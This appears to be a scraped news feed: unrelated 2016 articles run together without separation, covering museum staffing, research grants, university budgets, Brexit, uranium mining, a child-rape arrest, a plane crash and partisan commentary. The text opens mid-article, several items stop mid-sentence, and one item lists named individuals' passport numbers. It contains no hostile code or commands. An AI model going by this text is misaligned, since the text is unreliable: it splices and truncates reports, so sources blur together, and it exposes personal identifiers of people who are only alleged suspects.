Boehmkes transition from serving as the Friends only president ever coincides with the bittersweet recent news that Alan Hanson, the Bennetts site director for the past three years and its most visible and steadfast local advocate, is moving to a new position with the Wisconsin Historical Society with its Stonefield and Villa Louis sites in southwest Wisconsin.

Hanson also was honored during the Friends event, receiving a Bennett print of the Lone Rock formation in the Dells.

Were glad for him, but were going to miss him, Boehmke said. The H.H. Bennett studio is a changing and improving site because of Alan and what we did together (with the Friends)  sometimes you pushed, sometimes we pushed, but we made the progress that we achieved, together.

Hanson admitted, during an interview with the Dells Events Wednesday morning, that he had mixed emotions about the move, which will take place in the coming weeks as he transitions out of the job and his replacement  David Rambo, photographer and office manager of the Pipestone Indian Shrine in southwestern Minnesota  transitions in.

Its a bittersweet decision but I felt that it was a good time  now that things have been going in the right direction with the studio, Hanson said. We went through all those growing pains for getting the Friends group set up, and that was a great thing. We got some updates done with the museum, made some changes both physical and how we present the exhibits as well. I am pleased to have been a part of it.

Rambo  who also is a professional photographer who does for fun what Bennett did for a living, according to Hanson  is expected to take the reins at the Bennett on May 2, according to Wisconsin Historical Society Director Ellsworth Brown, who also spoke to the assembled group at the Friends event.

Im confident that David will be a good neighbor, certainly a strong community partner and a very strong partner for the River Arts District, Brown said.

The evenings program also included a stirring performance of dance and narration by representatives of the Ho-Chunk Nation, all four of them dressed in full regalia. Elliott Funmaker Sr. led the group through a 30-minute combination dance and presentation that explained the ceremonial significance of the clothing, dancing and drumming and singing accompaniment.

Romy Snyder, executive director of the Wisconsin Dells Visitor and Convention Bureau, was awarded the Metcalf/Bennett Friend Award for her and the Bureaus strong support of the Bennett Studio.
Research training to improve public and population health receives a funding boost

Wellcome Trust grants aimed at stemming the brain drain of the best African scientists.

Professor Sharon Fonn of the Wits School of Public Health, together with Professor Alex Ezeh, Executive Director for African Population and Health Research Center in Kenya, has received over R100 million to produce postgraduates and support universities to lead world-class multidisciplinary research in public health.

The R108,15 million (5.25million) was awarded by the Wellcome Trust, through the DELTAS Africa initiative, to the Consortium for Advanced Research Training in Africa+ (CARTA). The grant is a continuation grant. It is the second grant that CARTA has received from the Wellcome Trust, but the first through the DELTAS Africa initiative.

The Wellcome Trust has committed R432 million (21 million) to the DELTAS Africa initiative, which aims to improve health in Africa through research driven by the most urgent regional challenges. The funds were allocated to research teams in the Ivory Coast, Kenya, Senegal and Uganda to conduct world-class health research and train the future generation of the continents scientists.

CARTA, one of four recent research programmes in Africa that have been awarded grants, enroled it first students in 2010 and seeks to train and produce PhD graduates to lead world-class multidisciplinary research that makes a positive impact on public and population health.

This additional grant allows us to consolidate and extend the gains that we have already made in CARTA, said Fonn.

The consortium comprises nine African universities and four African Research Centres and selected northern partners enroled their first cohort of PhD fellows in 2010.

To date, CARTA has a total 140 PhD fellows, 24 of whom have graduated. Most of these graduates are either enroled in post-doctoral fellowships or have received re-entry grants to allow them to do research when they return to their jobs at universities. Nineteen Wits staff members have won CARTA fellowships and many more of the CARTA fellows are enroled as PhD students at Wits across five faculties.

We have also worked with over 300 faculty members (librarians, registrars, finance and ICT staff) to promote a research supportive environment at member universities and have held six workshops with 121 supervisors to reinvigorate PhD supervision.

Dr Jeremy Farrar, Director of the Wellcome Trust said: Strengthening health research across sub-Saharan Africa is a powerful way to improve peoples lives in the continent and around the world. Health crises such as Ebola and now Zika, and long-standing threats such as malaria, TB, HIV and increasingly the non-communicable diseases, will only be solved with a strong research base to inform public health measures and develop new treatments and vaccines.

By supporting the training of scientists within the continent, DELTAS Africa is seeking to stem the brain drain of the best African scientists and promote the Africa-led development of world-class research leaders to solve the continents most pressing health needs.

Currently, Africa accounts for 15% of the global population and 25% of the global disease burden, but only produces about 2% of the worlds research output. A shortage of skilled personnel - Africa only has 79 scientists and engineers per million inhabitants, compared with 168 for Brazil, 2,457 for Europe and 4,103 for the United States- and limited infrastructure have contributed to the low research outputs.

DELTAS Africa will be handed over to Alliance for Accelerating Excellence Science in Africa in the second half of the year as part of its vision to shift the centre of gravity and decision-making process to the continent.
Hundreds of students in an elementary school have their special growth ceremony wearing traditional Chinese costumes and going through ancient rituals on April 21, 2016. A special ceremony like this helps young children understand traditional Chinese culture better. (CNS/Yang Bo)
Recently, a series of bracelets have gone viral on Weibo. On these specially made bracelets are the words Cell Phone Ninja.

The bracelets are actually part of an experiment carried out by Chongqing Three Gorges University that challenges students not to use cell phones in class for 21 days.

The experiment started on April 12. Each student who volunteered to participate received a bracelet. Before the first class and after the last class of each day, students were instructed to upload a photo of their bracelet to the schools public Wechat account if they did not use their cell phones.

Over 800 students signed up for the experiment, and 400 were selected to participate. After seven days, only 103 students remained. The experiment was set for 21 days because of a claim in psychology that 21 days is the length of time required to form any habit.

According to the teachers monitoring the activity, there were no rewards or punishments in the experiment. It depended on students themselves to make the decision. Teachers hope students can form better study habits through activities like this one.
Interdisciplinary workshop to explore plague in Africa before 1899

Scholars from across America and France will gather at William & Mary April 22-23 to discuss the impact the bubonic plague may have had on Sub-Saharan Africa before 1899.

The event, to be held in Blair Hall, will be the first interdisciplinary workshop to explore the topic and was organized by Gerard Chouin, an assistant professor of history at William & Mary. The related research is one of three parts of GlobAfrica, a four-year project funded by the French National Research Agency to explore Africas connection to the world prior to the 19th century, Chouin said.

Having this conference at William & Mary is significant because of the particular strength of our department in the field of African history, said Chouin. Combined with scholars of Africa from other departments, William & Mary has a unique opportunity to take intellectual leadership in this field. This will be done with projects such as the Plague in Africa Project that addresses long-lasting assumptions about the place of Africa in global history. This project has the potential to stand at the cutting edge of historical and interdisciplinary research and to seriously challenge the current state of the historiography of medieval and early modern Africa.

The workshop will begin Friday at 8:45 a.m. with welcoming remarks by Philip Daileader, the James Pinckney Harrison Associate Professor of Medieval History at William & Mary, followed by an introduction from Chouin.

Throughout the next two days, scholars will discuss a variety of topics related to the overarching theme of the conference, including the plague and changes in regional settlement patterns, the plague in art, and African religions and the plague. The event is open to scholars and students, and a full schedule may be found online.

Along with Chouin and Daileader, other scholars from William & Mary who are expected to participate include: Joe Jones, director of the Center of Archaeological Research; Ann Cooper, digital archivist at Swem Library; Jeremy Pope, assistant professor of history; Neil Norman, assistant professor of anthropology; and Mei Mei Sanford, adjunct instructor of Africana studies. In addition, both undergraduate and graduate students from the university are expected to attend.

This is what William & Mary stands for: research for the bold, said Chouin, who hopes to organize additional workshops during the four years of the GlobAfrica project. Can you imagine the history of Medieval Europe without the plague? Imagine what we would miss? Such is the situation with regards to African history, and we hope our workshop signals the beginning of a deep historiographical shake.

The workshop is being funded by multiple offices at W&M, including the vice provost for Research and Graduate/Professional Studies, the Office of the Dean of the Faculty of Arts & Sciences, the Reves Center for International Studies, the Department of History, the Department of Biology, the Africana Studies Program through the Roy R. Charles Center, the Department of Art and Art History and the Department of Anthropology. GlobAfrica sponsored the airfare for participating scholars.
Private-public synergy supports web portal for coastal resiliency

High tide William & Mary experts from VIMS and the Law School are helping to guide the Commonwealths emerging response to sea-level rise and coastal flooding. Here, flood waters cover Greate Road on Gloucester Point during an afternoon high tide in October 2015. Photo by Robert Fisher Photo - of - Hide Caption

William & Mary Law School and William & Marys Virginia Institute of Marine Science (VIMS) are collaborating on a new website that will provide key information to support local, regional, and state efforts to adapt to sea-level rise, thanks to a $1.2 million grant from blue moon fund.

The grant will provide funding for the Virginia Coastal Adaptation Data Portal, a website that will give a wide variety of information, data, analyses, and tools useful for risk assessment and adaptation planning. Hampton Roads has the highest rate of sea-level rise on the East Coast, putting the region at a heightened risk of recurrent flooding and stormwater damage.

VIMS is gratified to be a lead in this type of collaboration, said John T. Wells, dean and director of VIMS, which is home to W&Ms School of Marine Science. Virginia is on the front lines of sea-level rise and recurrent flooding, and these types of collaborations are critical to the future of coastal communities as we come together to innovate and find new ways to adapt to our changing environment."

Development of the data portal will be a collective effort among VIMS, William & Mary Law Schools Virginia Coastal Policy Center (VCPC) and Wetlands Watch, a non-profit in Norfolk, Va. focused on the conservation and protection of wetlands.

Portal development and operation will also be closely tied to the research, training, data integration, and outreach activities of the new state-funded Commonwealth Center for Recurrent Flooding Resiliency. The Center, funded through legislation enacted during the 2016 session by the General Assembly and announced today in an Earth Day event by Governor Terry McAuliffe, is a collaborative partnership among VIMS, VCPC, and Old Dominion University.

Wells says the center is a perfect example of VIMS ability to leverage academic partnerships and private grant funding for the public good.

When completed, the web portal will provide officials at all levels of the government, as well as the public, with vital information with the click of a button. For many policy makers and private citizens, sea-level rise is overwhelming because its rapidly evolving, said Carl Hershner, director of VIMS Center for Coastal Resources Management. This will be a trusted source of information where people can go to try to make sense of all this, and get information they can act on. VIMS was created to provide this kind of service for the commonwealth.

The data portal will be the go-to website for the latest legal and technical analyses, said Davison M. Douglas, dean of William & Mary Law School. The collaboration between VIMS and the Virginia Coastal Policy Center will provide a better understanding of sea-level rise impacts for government officials and the public. Legal expertise coupled with scientific research is a great match to build this website.

The website will include research about the harmful effects of sea-level rise and potential solutions to address those challenges. Sea-level rise causes flood damage, erosion and loss of habitat for wildlife. There will also be tools that assist local and state leaders in planning and implementing the featured strategies.

Tidal and storm surge flooding risks, FEMA flood zone maps, storm history and critical infrastructure risk assessments are all topics that are likely to be included on the website. Information about conditions of shorelines, wetlands, beaches and coastal forests will also be in the portal.

The portal will be a very useful tool for local governments and citizens, providing one easily-accessed source of information on adaptation measures to address sea-level rise, said Elizabeth A. Andrews, director of the Virginia Coastal Policy Center. The Virginia Coastal Policy Centers role will be to provide legal analysis regarding Virginia localities authority and responsibilities for adaptation, as well as information on Virginia statutes, regulations and guidance available on the topic. We are pleased to be able to work with our partner VIMS on this important and timely project.

Research will be accessible to the public through the portal beginning this fall, though the portal will continue to be developed over the next two years.

This is the third grant blue moon fund has awarded the university. The Virginia Coastal Policy Center received $178,500 from blue moon fund last year. In 2014, VIMS received a $150,000 grant from blue moon fund for related work.

For 75 years, VIMS has been collecting, analyzing, synthesizing and sharing millions of pieces of data on everything from water quality to fish populations, creating a one-of-a-kind, comprehensive picture of the Bays complex ecosystem  with real-life impact far beyond Virginia, blue moon fund said in a statement. This data will be critical in predicting future conditions in the face of accelerating global environmental change.

Located in Charlottesville, Va., blue moon fund is a foundation aimed at mitigating climate change through strategic philanthropy, investments and community partnerships.

We would like to thank blue moon fund for their generous support in ensuring William & Mary is a leader in sea-level rise research by providing an invaluable tool to government leaders on all levels, said Matthew T. Lambert 99, vice president for university advancement. This data portal will provide critical information that will allow political officials to make informed decisions regarding this issue.
The William & Mary Board of Visitors on Friday unanimously approved the universitys fiscal 2017 budget, including new initiatives designed to increase diversity on campus, continue to innovate in the liberal arts curriculum and improve W&Ms already strong retention and graduation rates.

The 2016-2017 budget also reflects new and ongoing support for commitments the university made as part of the 2013 adoption of the William & Mary Promise, including increasing the availability of financial aid, decreasing student debt for low- and middle-income Virginia families and providing additional support to recruit and retain superb faculty.

In its first four years, the William & Mary Promise has been crucially important to the universitys financial ability to meet critical needs in faculty and staff compensation and in funding vital initiatives, said President Taylor Reveley.

As part of the W&M Promises four-year tuition guarantee for in-state students, rates for Virginia students remain constant through all four years. Therefore, the adopted budget includes no tuition increases next year for rising in-state sophomores, juniors or seniors. In November, the Board set the four-year guaranteed tuition for incoming in-state freshman students at $15,674. By setting the in-state tuition rate in the fall, the Board provided Virginia families advance tuition information during the application period, when they were making critical academic decisions.

Out-of-state undergraduates will see a 2.9 percent increase in tuition in fiscal 2017 to $36,158.

Predictability is important when planning for the cost of education and the William & Mary Promise assures Virginias students and their families that they will not face tuition increases over the course of their college careers, said Rector Todd Stottlemyer. The tuition they pay as freshmen is the tuition they pay as seniors.

A key ambition of the W&M Promise operating model is to increase the availability of need-based financial aid for in-state students and improved affordability for low- and middle-income families across the Commonwealth, said Sam Jones, senior vice president for finance and budget.

William & Mary continues year-over-year increases in financial aid investment in the fiscal 2017 budget, adding an additional $2.7 million  or 8.7 percent  to the pool of available financial assistance for a total of $33.5 million. Since 2012, the year prior to the W&M Promise, the university has increased this fund by 49 percent and the university has more than doubled in-state grant aid. The availability of increased aid helps lower the annual borrowing and four-year cumulative debt average for Virginia undergraduates with demonstrated need. In addition to the ongoing investment approved in Fridays budget, the university identified scholarships as the highest priority of William & Marys recently announced For the Bold fundraising campaign.
Nanluoguxiang, a hutong, or alley, in eastern Beijing, that is a popular tourist attraction, has received more than 100,000 visitors a day during the holiday.

From April 25, Beijing's famous scenic spot, Nanluoguxiang, will suspend its reception of tourist groups because the number of daily visitors is far exceeding the capacity of the site, Beijing Youth Daily reported on Friday.

Meanwhile, also in consideration of crowd control, Nanluoguxiang will no longer be included on the list of 3A-level scenic spots, according to the city's tourism bureau.

Statistics show that daily visitors to Nanluoguxiang often exceed 30,000; on weekends, the number is often above 50,000, and it climbs to more than 100,000 on holidays. The overcapacity has greatly impacted the neighborhoods and living environment of local residents. It has also caused damage to the facilities.

Nanluoguxiang is a well-preserved, ancient part of Beijing featuring traditional architecture. It is located on the east side of Beijing's central axis and is approximately 800 meters long, running from East Gulou Street to East Di'anmen Street.

Nanluoguxiang, a hutong, or alley, in eastern Beijing, that is a popular tourist attraction, has received more than 100,000 visitors a day during the holiday.
The United Nations Mission in Liberia (UNMIL) held a ceremony on April 19 in recognition of the outstanding contributions of China's 14th peacekeeping police to the country.

During the ceremony, the U.N. Special Representative for the Liberia mission affirmed the professional skills of the Chinese peacekeeping force. The representative praised their guidance, training and supervision of the local police, as well as their protection of human rights. He also highly commended the forces strict discipline, which sets a good example for the peacekeeping forces of other countries.

Members of the peacekeeping force were dispatched in September 2015 and are scheduled to return to China in September of this year.




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Authorities in Taiwan have re-arrested 18 telecom fraud suspects and slapped a travel ban on two others just days after they had been freed for lack of evidence  a move that was heavily criticized.

Taichung District Court issued its ruling early Thursday morning after the district prosecutors office summoned the 20 suspects, who were released last Saturday by Taiwan police, Xinhua News Agency reported.

The office said it had obtained evidence from Malaysia that was enough to support the arrests. The decision to release the suspects last Saturday was met with criticism from major media outlets and the public.

Chen Wen-chi, who leads the Taiwan delegation currently in Beijing, agreed that the suspects were in good condition after visiting the center on Thursday morning. (Photo/Xinhua)

The 77 alleged telecom fraud syndicate members were deported from Kenya earlier this month. They will be tried on the Chinese mainland, a Ministry of Public Security (MPS) official said Thursday.

Chen Shiqu, a deputy inspector with the MPS criminal investigation bureau, explained that a delegation from Taiwan is now in Beijing to discuss the case with mainland police. Forty-five of the alleged fraudsters are from Taiwan.

"The suspects specifically targeted people on the Chinese mainland, and their victims are from the mainland. Not to mention that many of the suspects are themselves from the mainland," Chen said.

"They will therefore be investigated, prosecuted and tried in accordance with mainland law," he continued.

All 45 Taiwanese suspects have already "admitted their guilt," Chen said.
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President Obama sparks EU row as he arrives in UK to give PM a helping hand over Brexit

Barack Obama flew into a storm of protest last night over his decision to urge Britain to stay in the EU.

Senior Eurosceptic MPs also vented their fury at the Prime Minister and Defence Secretary over a warning that there would be celebrations by Moscow and the Islamic State in Raqqa if the UK voted for Brexit.

No 10 and the White House have orchestrated a pro-EU blitz to coincide with the US Presidents visit.

Mr Obama last night urged Britain not to cut its ties with Brussels  saying it 'magnified' the UK's influence in the world

President Barack Obama has arrived in London for a three-day visit that will include dining with the royal family and talks with Prime Minister David Cameron

The sacrifice of GIs during the Second World War means America also has a stake in the referendum debate, he said.

The US president told British voters their choice 'will echo in the prospects of today's generation of Americans as well'.

No 10 and the White House have orchestrated a pro-EU blitz to coincide with the US President's visit. Mr Obama said a vote to cut ties with Brussels will leave Britain less able to tackle terrorism, the migration crisis and economic difficulties.

And he said Britain and America's 'special relationship was forged as we spilled blood together on the battlefield'.

'I will say, with the candour of a friend, that the outcome of your decision is a matter of deep interest to the United States,' the president wrote in the Daily Telegraph.

'The tens of thousands of Americans who rest in Europe's cemeteries are a silent testament to just how intertwined our prosperity and security truly are. And the path you choose now will echo in the prospects of today's generation of Americans as well.'

President Obama said the US, the UK and the EU 'have turned centuries of war in Europe into decades of peace, and worked as one to make this world a safer, better place'.

'What a remarkable legacy that is,' he wrote. 'And what a remarkable legacy we will leave when, together, we meet the challenges of this young century as well.'

The President also made an emotional appeal for Britain to vote to remain a part of the EU, which he says is an institution created 'from the ashes of war'.

'Our special relationship was forged as we spilled blood together on the battlefield,' he said. He compared the EU to the United Nations, Nato and post-war agreements such as Bretton Woods and the Marshall Plan.
Cameco scales back uranium production

22 April 2016

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Cameco is suspending production at the Rabbit Lake uranium mine in northern Saskatchewan, curtailing production at its US uranium operations, and reducing production at McArthur River/Key Lake in response to market conditions, the company announced yesterday.

Rabbit Lake (Image: Cameco)

Work to transition the underground Rabbit Lake mine to care and maintenance will begin immediately and is expected to be completed by the end of August. Production at the US in situ leach operations cannot cease immediately because of the nature of the technology, and will instead decrease over time as head grades decline. The development of new wellfields will be deferred.

"Unfortunately, continued depressed market conditions do not support the operating and capital costs needed to sustain production at Rabbit Lake and the US operations," CEO Tim Gitzel said. "These measures will allow us to continue delivering value to Camecos many stakeholders and support the long-term health of our company. We will provide assistance to those affected by these decisions," he said.

The operational changes are expected to result in a reduction of about 500 employees at Rabbit Lake and 85 at the US operations. A workforce of about 150 will be required to maintain facilities and continue environmental monitoring and reclamation work at Rabbit Lake. About 170 people will remain in employment at the US operations to operate existing facilities and restore depleted wellfields. Cameco also intends to review its office activities in support of operations at Rabbit Lake and the US facilities, with the aim of reducing general and administrative costs.

Final 2016 production at Rabbit Lake is now expected to be 1.0 million pounds U3O8 (385 tU), down from the 3.6 million pounds (1385 tU) expected previously, while US production is expected to be 1.1 million pounds U3O8 (423 tU), down from 1.4 million pounds (539 tU).

The company will also reduce 2016 production at the McArthur River/Key Lake operation in Saskatchewan to 19 million pounds U3O8 (7308 tU), down from 20 million pounds (7693 tU), in response to a currently oversupplied uranium market. "We will take the opportunity from additional downtime at the mill to further advance work needed to increase the mills production capacity for when the market signals it is needed. This includes changes to the solvent extraction circuit, bringing some work on the crystallization circuit forward from 2017 and transitioning to the new calciner," the company said.

Meanwhile, production at Cigar Lake continues to ramp up, with plans to produce 16 million pounds U3O8 (6154 tU) this year subject to Areva's McClean Lake mill receiving the necessary regulatory approvals to increase its annual capacity.

In light of the operational changes, Cameco now expects its total annual production to be 25.7 million pounds U3O8. Previously, planned production for the year had been 30 million pounds.

The carrying value of Rabbit Lake is about CAD108 million ($85 million) and that of the US operations is CAD62 million ($48 million), net of provisions for reclamation. The cost of placing Rabbit Lake into care and maintenance for 2016 will be about CAD35 million. The operational changes are expected to reduce capital expenditures by about CAD48 million, Cameco said.

The company said that placing Rabbit Lake into care and maintenance and deferring US wellfield development rather than closing the operations permanently would give it the flexibility to increase production when market conditions improve. "However, with todays oversupplied market and uncertainty as to how long these market conditions will persist, we need to focus our resources on our lowest cost assets and maintain a strong balance sheet," the company said.

Uranium production began at Rabbit Lake in 1975, making it the longest-producing uranium mine in North America. Recent production has been from the Eagle Point deposit. However, earlier this year Cameco wrote down CAD210 million in relation to Rabbit Lake operations, due to increased uncertainty over future production sources for the Rabbit Lake mill. Rabbit Lake is 100%-owned by Cameco. The company owns 70% of McArthur River, 83% of Key Lake and 50% of Cigar Lake.

Cameco's US uranium operations comprise Crow Butte in Nebraska and Smith Ranch-Highland in Wyoming. Both are 100%-owned by Cameco, and their combined output had made Cameco the largest uranium producer in the USA.

Researched and written

by World Nuclear News

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Children playing (illustration)

By: Chan Yuan

A daycare worker was arrested on a charge of rape after allegedly raping a young boy in a nursery, police in Norway said.

Bergen police said that the 30-year-old man, who was not identified, worked at several daycare centers before he was accused of raping a 4-year-old boy at a nursery.

The man was charged with one count of rape and possession of child pornography. He was booked into jail and denied bail.

According to the police, after the man was arrested for raping the 4-year-old boy, police searched his apartment and confiscated his computers.

Police then found thousands of images of child pornography photos on the computer. If convicted of rape, he faces up to 21 years in prison.
A young man wanted to make a point about racism in the United States, but his plan backfired when he was exposed for a liar by police. 20-year-old Khalil Cavil of Texas was working at the Saltgrass Steak House in Odessa when he claimed he was discriminated against because of his Muslim name. Cavil took
Three men holding Turkish passport were allegedly plotting to attack Chinese interests in the ASEAN region. Thailand has put two of them on its security watch list after receiving an alert from Singapore, according to Hong Kong Economic Times.

The three Turkish men identified as Hid Yet Dursun, (male, Passport No. U07510463), Ali Yalcin Ergin (male, Passport No. U03217293) and Ali Yalcin (male, Passport No. U04601655) may have flown to Thailand, according to Thai authorities.

Thailand's immigration database showed Ali Yalcin, 36, have visited Thailand twice this year. He arrived at Don Mueang airport on March 18 from Singapore on an Air Asia flight and left for Cambodia on March 22. Yalcin re-entered Thailand on March 24 and left for Malaysia via Phuket International Airport on March 28. There was no record of a third entry, according to the report.

Police have been sent to gather more information in Sukhumvit and Phuket where Ali Yalcin was seen during his stay in the country, according to Thailand's immigration authorities.

On Aug. 17 2015, a blast at the Erawan Shrine in Bangkok, a tourist spot popular with visitors from China and elsewhere in Asia, killed 20 people and injured more than 120.

Thai policemen inspect the explosion site in Bangkok, Thailand, Aug. 17, 2015. (Photo/Xinhua)
A preliminary report for the investigation into the April 8 plane crash which killed three and injured another was released late last week.

The National Transportation Safety Board found that weather conditions may have contributed to the accident, which involved a Cessna 206 airplane registered to Sunrise Aviation. The flight had departed from Wrangell airport at 8:10 that morning, heading for Angoon. It crashed en route on the southeastern end of Admiralty Island, near Pybus Bay.

The plane was flown by airline co-owner Dave Galla, who the report indicated had conversed with partner Tyler Robinson over a company radio frequency about weather conditions at Pybus Bay during the flight. Low clouds and reduced visibility along the planes planned route reportedly prompted Galla to seek an alternate route.

The closest weather reporting facility to the site was Angoon Airport, about 17 miles to the northwest. At 09:56 a.m. an aviation routine weather report reported calm wind conditions, with few clouds at 2,300 feet, broken clouds at 4,200 feet, and visibility at 10 statute miles.

Sunrise Aviation uses devices by satellite tracking service provider Spidertracks on its aircraft, and the plane was equipped with a digital 406-megahertz emergency locator transmitter which transmits a distress signal to search and rescue satellites within minutes of a crash.

In the NTSB report, some 15 or 20 minutes after speaking with Galla, Robinson landed another company plane in Wrangell. Noticing the Spidertracks signal was stationary in an area of mountainous terrain, he contacted Angoon Airport personnel. The flight had not arrived, and attempts to contact Galla on his aircraft radio and cell phone were unsuccessful. Shortly thereafter, Robinson had been contacted by the Alaska Rescue Coordination Center, which informed him the planes ELT had begun broadcasting its distress signal.

The United States Coast Guard at Air Station Sitka was contacted at 10:25 a.m., and dispatched an HH-60 rescue helicopter to search for the plane. The wreckage was discovered by a Temsco Helicopter craft, about 17 miles southeast of Angoon.

The plane had crashed at around 2,240 feet above sea level in an open area of snow-covered terrain, which sloped upward at 27 degrees.

It impacted the snow in a near vertical attitude, sustaining substantial damage to the

fuselage and wings. The NTSB report notes the area between Wrangell and Angoon

consists of remote inland fjords, coastal waterways and steep terrain.

Initial attempts by the USCG helicopter to reach the site were thwarted by a severe downdraft and difficult terrain. A

Sitka Mountain Rescue team was called in, and was conveyed to the site by an HH-60. The helicopter was able to land on an adjacent ridgeline at 1:55 p.m., and the response team hiked from there to the crash site.

Along with Galla, passengers Greg Scheff and Thomas Siekawitch had been killed in the accident; all three were from Wrangell. A third passenger, Morgan Enright of Ketchikan, survived the crash and was transported to Juneau for treatment. She was transferred to Harborview Medical Center in Seattle the following morning for higher level care, and remained in critical condition through the week.

By Monday, Enrights family had posted on Facebook that she had successfully undergone surgery on her leg, no longer required a ventilator to breathe, was in stable condition and was continuing daily improvements.

Alaska State Troopers

reported the bodies of Galla, Scheff and Siekawitch had been recovered on April 9. NTSB and Juneau Mountain Rescue investigators had recovered the plane wreckage over that weekend and have assessed it in Juneau. A detailed examination of the aircrafts Continental Motors IO-550 series engine is pending.

The NTSB report notes the information is preliminary, subject to change, and may contain errors. Any errors contained in the report will be corrected when the final draft has been completed.
Japanese Prime Minister Shinzo Abe sent the ritual offering of a masakaki ceremonial tree to the notorious Yasukuni Shrine during the shrine's spring festival on Thursday.

The Yasukuni Shrine honors 14 Class-A convicted war criminals of World War II, including Hideki Tojo. It is a spiritual tool and symbol of Japanese militarism. Nevertheless, even protests and condemnation from the international community dont change Abes stubborn impulse to worship these ghosts.

As Japanese philosopher Takahashi Tetsuya said, the Yasukuni Shrine is an ideological and religious appliance that cultivates warfare. Worshipping the shrine and the war criminals it honors reveal an obsession with militarism in Japans government.

In December 2013, despite strong protests from China and South Korea, Abe visited the Yasukuni Shrine for the first time. Since then, Abe has gone to the shrine several more times, and sent his most recent offering despite the imminent G7 Ise-Shima Summit.

Last year marked the 70th anniversary of the allied victory in World War II. Forced to watch such grand celebrations in honor of the milestone, it's easy to imagine that Japanese leaders might not be too pleased.

Nevertheless, the way Japanese leaders are reacting is counterproductive and insensitive. At the end of last year, the Liberal Democratic Party even established an organization to verify the truths of modern historic issues including the trials of the International Military Tribunal for the Far East and Nanjing Massacre.

On March 18 of this year, Japan's Ministry of Education, Culture, Sports, Science and Technology required that changes be made to the way textbooks present the countrys modern history. Now many people are worried about the effects of teaching young children a skewed historic perspective.

Japanese historian Yamada Akira believes that the debt of history will eventually be paid back. The perspective of the Abe government has regressed, but that doesnt mean Japan can permanently avoid reckoning with its history of aggression; the countrys past contains misdeeds that Japan must correct sooner or later if it hopes to possess the trust of its neighbors. However, if Japan refuses to learn and move on from history, then the future of the country  and the peace and stability of Asia  is bleak.
UK Chancellor George Osborne presented figures from the Treasury Monday, aimed at illustrating the economic impact of Britain leaving the European Union (EU) following the 23 June referendum.

Osborne, who has overseen billions in austerity measures since the Conservatives came to power in 2010, donned the mantle of a concerned advocate for the well-being of working people. His posture is no less reactionary than that of the right-wing advocates of a Brexit, whose nationalist opposition to the EU represents the interests of a section of British capital equally determined to press ahead with an assault on the wages and living standards of the working class.

Stating that Britain would be permanently poorer outside the EU, he outlined three potential scenarios following a Brexit and their economic consequences. The most likely, where Britain negotiated a bilateral trade deal with the EU, would result in the UK economy being 6.2 percent smaller after 15 years and result in a drop in tax revenues of 36 billion.

Other options included joining the European Economic Area, meaning Britain would continue to have significant access to the single market but no say in setting EU regulations, or deciding to trade with the bloc as a member of the World Trade Organisation without reaching a new agreement. The first option would cost the economy 3.8 percent of GDP by 2030, while the latter would see a 7.5 percent drop and a tax shortfall of 45 billion.

By contrast, the Treasury claimed that if Britain remained part of the EU, and the 28-member bloc implemented reforms as agreed in the deal reached by Prime Minister David Cameron, the countrys economy would witness a 4 percent boost by 2030.

The absurdity of the claim by Osborne and the Remain camp that the EU will guarantee prosperity for British families is plain to see. The EU has emerged ever more openly as the main mechanism for the implementation of devastating austerity measures across the continent, especially since the economic crisis of 2008. Workers in Greece, Spain, Portugal and other countries have suffered the destruction of public services, double digit unemployment which has reached more than 25 percent in some cases, never-ending attacks on wages and working conditions, and a corresponding enrichment of the financial elite via so-called bailout programmes, tax cuts and outright criminality and fraud, as the Panama Papers recently illustrated.

It is on behalf of a significant section of this financial oligarchy that Remain campaign and Osborne are speaking.

Osborne warned in his speech that the City of London could find its position as a global financial centre put at risk if Britain left the EU. As he said on Monday, Britain receives over $1 trillion in foreign direct investment, much of it driven by the fact we are in the EU and its single market. Indeed, we have received more of this overseas investment than any other EU member state, and that drives better jobs and rising living standards too, bringing money into the exchequer to spend on public services.

This is a cruel joke, coming as it does from one of the leading spokesmen of a government which has taken the axe to funding for healthcare, slashed social welfare benefits from the most vulnerable, and intensified government spending cuts to pay for the multi-billion bailout of the banks which all political parties, including Labour, supported. In truth, the benefits of the trillions in foreign investment flow overwhelmingly to the super rich on whose behalf all the major political parties operate, as shown by the rise in levels of social inequality and the vast growth in wealth enjoyed by the financial aristocracy.

The Treasury analysis seeks to cover up this reality. The executive summary states, In the long term, greater openness to trade and investment boosts the productive potential of the economy.

Such worn-out apologetics for capitalism are advanced at a time where investment has collapsed in Europe and throughout the world, with companies seeking to divert capital into speculative activity. This has produced a vicious circle of declining investment and renewed calls for new waves of austerity.

It is not just Osborne and his Tory colleagues in the Remain camp who are strident defenders of austerity policies. The devastating spending cuts to public services led by the Tories since 2010 were initiated by the former Labour government following its approval of the multi-billion bailout of the financial elite. Last month, Shadow Chancellor John McDonnell confirmed that Labour under Jeremy Corbyn would be ruthless on government spending. The trade unions, which in their majority back a Remain vote, have not lifted a finger to oppose government austerity but have instead worked tirelessly to shut down all protests and strikes which have broken out.

The claim that future EU reforms offer the prospect of rising living standards for all is preposterous. Cameron has already made clear Britain will pursue reforms aimed at increasing competitiveness across the continent, code words for a further deepening of the assault on working class living standards to boost profitability for the major corporations.

This is the reality endorsed by Corbyn, who, in a speech last week advocating a vote to stay in the EU said, The Labour Party is overwhelmingly for staying in because we believe the European Union has brought investment, jobs and protection for workers, consumers and the environment.

The draft deal struck between the Cameron government and the EU in February vowed to increase efforts towards enhancing competitiveness by lowering administrative burdens and cutting red tape. As the BBC noted, This was the least controversial of the government's demands--and Mr Cameron got more than he was offered in the draft document.

The Brexit advocates intend to pursue a similar anti-working class agenda, with the sole difference that they consider EU membership and the regulations it imposes as placing too many restrictions on their attacks on the working class. Late last month, Vote Leave published a list of 250 business leaders supporting their campaign, and announced the appointment of former British Chambers of Commerce director general John Longworth to head its business council. Reflecting the fact that support for a Brexit comes mainly from sections of business which are less competitive, no FTSE 100 company was on the list.

The Treasurys figures do, however, disprove the outrageous claims of the far right forces leading Vote Leave, assisted by Stalinist-led sections of the trade unions and pseudo-left, that a British exit from the EU on a nationalist basis would create the conditions for increased funding for public services and improved living standards for the population. If anything, the Treasury underestimates the consequences, since it assumes that the EU would continue in its existing form following a British exit, even though it is clear that it is fracturing along national lines and that a vote by Britain to leave could be the trigger for the break-up of the bloc.

The Treasury report on Britains continued EU membership and the alternatives it examines demonstrates once again that both sides of the official referendum campaign have nothing to offer working people but endless austerity and attacks on wages and working conditions.
Europe

Greek journalists strike

The Panhellenic Federation of Journalists Unions began a 48-hour strike yesterday to protest against the Syriza-led governments assault on pensions.

